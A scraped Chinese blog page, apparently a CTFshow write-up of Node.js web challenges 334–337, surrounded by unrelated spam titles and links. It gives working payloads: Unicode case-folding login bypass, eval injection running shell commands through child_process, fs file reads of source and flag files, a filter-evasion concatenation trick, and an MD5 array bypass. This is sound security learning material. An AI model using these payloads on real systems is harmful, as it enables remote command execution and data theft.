当前位置: 首页 > news >正文

北京做兼职哪个网站跨平台app开发工具

北京做兼职哪个网站,跨平台app开发工具,企业定制,山西省财政厅网站三基建设专栏一.什么是node.js 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。 Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境#xff0c;基于 Google 的 V8 引擎#xff0c;V8 引擎执行 Javascript 的速度非常…一.什么是node.js 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。 Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境基于 Google 的 V8 引擎V8 引擎执行 Javascript 的速度非常快性能非常好。 总结一下 我觉得node.js就是提供一个JavaScript环境 使这个语言升级 可以写一些后端的东西 直接做题学习 学习express ctfshow——web334 打开是一个登陆框好看的js 给了源码 var express require(express); // 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。 var router express.Router();var users require(../modules/user).items;var findUser function(name, password){return users.find(function(item){return name!CTFSHOW item.username name.toUpperCase() item.password password;}); };/* GET home page. */ router.post(/, function(req, res, next) {res.type(html);var flagflag_here;var sess req.session;var user findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: 登录失败}); }req.session.loginUser user.username;res.json({ret_code: 0, ret_msg: 登录成功,ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: 账号或密码错误});} });module.exports router;module.exports {items: [{username: CTFSHOW, password: 123456}] }; 想要不借助gpt看懂 先去学习一下 怎么用express模块创建服务器 ————————学完了———————— 感受是人类发明了gpt就要好好用它【呲牙笑】 还是让g大哥给我逐行注释一下吧【呲牙笑】 // 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。 var express require(express); //创建路由对象 var router express.Router(); //导入路由模块并获取其中的 items 属性这应该是一个用户对象数组。 var users require(../modules/user).items;// 定义一个名为 findUser 的函数接受用户名和密码作为参数。 // 使用 find 方法在 users 数组中查找用户名转换为大写和密码匹配的用户。 // 该函数还确保用户名不是 CTFSHOW。 var findUser function(name, password){return users.find(function(item){return name!CTFSHOW item.username name.toUpperCase() item.password password;}); };/* GET home page. *///挂载具体路由 router.post(/, function(req, res, next) {res.type(html);var flagflag_here;var sess req.session;var user findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: 登录失败}); }req.session.loginUser user.username;res.json({ret_code: 0, ret_msg: 登录成功,ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: 账号或密码错误});} }); //向外导出路由对象 module.exports router;主要看这段代码 toUpperCase()的作用是把小写转换成大写 return name ! CTFSHOW item.username name.toUpperCase() item.password password; 所以这句话就用 小写的ctfshow 就能绕过 这里还有一个trick 在Character.toUpperCase()函数中字符ı会转变为I字符ſ会变为S。 在Character.toLowerCase()函数中字符İ会转变为i字符K会转变为k。 所以用ctfſhow 123456登录也可以出flag web335 页面问where is flag 先扫一下 看了一下 什么都没有 直接查看源代 这也没啥 看wp 这里打开源代码提示我们  在js文件中查找没有找到相关的什么东西这里怀疑是js的eval。 通过查找主要有这三种但是发现好像只有child_process是自带这里我们在本地尝试一下。 漏洞利用 Node.js中的chile_process.exec调用的是/bash.sh它是一个bash解释器可以执行系统命令。在eval函数的参数中可以构造require(child_process).exec();来进行调用。 通过学习我们可以知道下面这三个我们可以直接利用的 payload:     require(child_process).execSync(cat f*).toString()     require(child_process).spawnSync(cat, [f*]).stdout.toString()   额外的发现     execFileSync只能执行ls之类他cat不了文件     require(child_process).execSync(cat f*) 这里突然发现不用toString也行 web336 发现这里exec好像被禁了而且统配符不知道为什么突然用不了 所以再去学一下佬们的wp 通配符被ban了可以先查找flag在哪 F1 ?evalrequire( child_process ).spawnSync( ls, [ ./ ] ).stdout.toString() ?evalrequire( child_process ).spawnSync( cat, [ fl001g.txt ] ).stdout.toString() F2 看佬们还有一种解决方法 可以先看一下源代码 用这两个变量可以知道当前路径 用js里面的fs模块 这里用js的fs模块 ?evalrequire(fs).readFileSync(/app/routes/index.js, utf8) 记得这里要引入fs模块 就这样一个小女孩拿到了js源代码 果然是过滤了 exec 和 load var express require(express); // 引入 Express 框架 var router express.Router(); // 创建一个新的路由器对象/* GET home page. */ router.get(/, function(req, res, next) { // 定义处理 GET 请求的路由res.type(html); // 将响应内容类型设置为 HTMLvar evalstring req.query.eval; // 获取查询参数 eval 的值// 检查 evalstring 是否为字符串并且是否包含 exec 或 load 字符串忽略大小写if (typeof(evalstring) string evalstring.search(/exec|load/i) 0) {res.render(index, { title: tql }); // 如果条件满足渲染 index 视图并设置标题为 tql} else {// 否则使用 eval() 函数计算 evalstring 的值并渲染 index 视图设置标题为 eval() 的结果res.render(index, { title: eval(evalstring) }); } });module.exports router; // 导出路由器对象可以用字符串拼接的方式绕过 参考[CTFSHOW][WEB入门]nodejs部分WP_ctfshow web335 y4ta-CSDN博客 ?evalrequire(child_process)[exe%2bcSync](cat f*).toString() 把加号url编码(浏览器解析特性会成为空格 这里怎么通配符又能用了 F3 还是经过学习发现fs模块还有列出目录中的文件的方法。 //列出当前目录下的文件  require(fs).readdirSync(./) payload: require(fs).readFileSync(fl001g.txt,utf-8) web337 简单的md5数组绕过 也就是说js和php一样都是弱类型 payload a[]1b[]2
http://www.tj-hxxt.cn/news/134868.html

相关文章:

  • 网站的视频代加工接订单网站
  • 桂林建网站的公司刚做外贸最好用哪个网站
  • dede电影网站源码wordpress站长邮箱
  • 哪些网站做翻译可以赚钱广元 网站建设
  • 网站源代码怎么生成网页wordpress产品目录
  • php网站管理系统江苏建设厅长
  • 网站怎样做 文件签收客户管理软件哪家好
  • 手机网站图片切换特效wordpress如何qq登录界面
  • wordpress仿站抓取软件网站推广的作用是什么
  • 广告网站建设目标东莞本地招聘网
  • 国际贸易英文网站网站特效js代码
  • 青岛网站关键词优化公司成都市郫都区
  • 拖拽响应式网站建设公司科技团队网站
  • 招聘网站怎么做线下活动深圳网站制作公司电话
  • 网页网站建设软件有哪些卖手表的网站
  • 怎么免费自己做网站做网站开发的有哪些公司好
  • 网站建设维护内容php网站建设案例教程视频教程
  • 做团购网站的公司浙江杰立建设集团 网站首页
  • 阿里巴巴网站上面产品描述一般怎么做的wordpress部署云
  • 搭建网站 开源软件考研资料找微信hyhyk1推广可以
  • asp网站建设实录常州承接网站建设
  • 免费模板简历网站做关于家乡的网站
  • 有哪些做伦敦金的网站wordpress视频主题模板下载
  • 注册建设网站的公司网站代码添加在网站的什么位置
  • 长沙哪家网站公司西安品牌策划
  • 用wordpress做购物网站php做网站如何
  • 网站免费源码大全虚拟主机可以建设什么网站
  • 网站开发用技术wordpress 自动发文章
  • 宁波本地网站排行广告制作公司如何开展业务
  • 无锡企业如何建网站玉林专业网站建设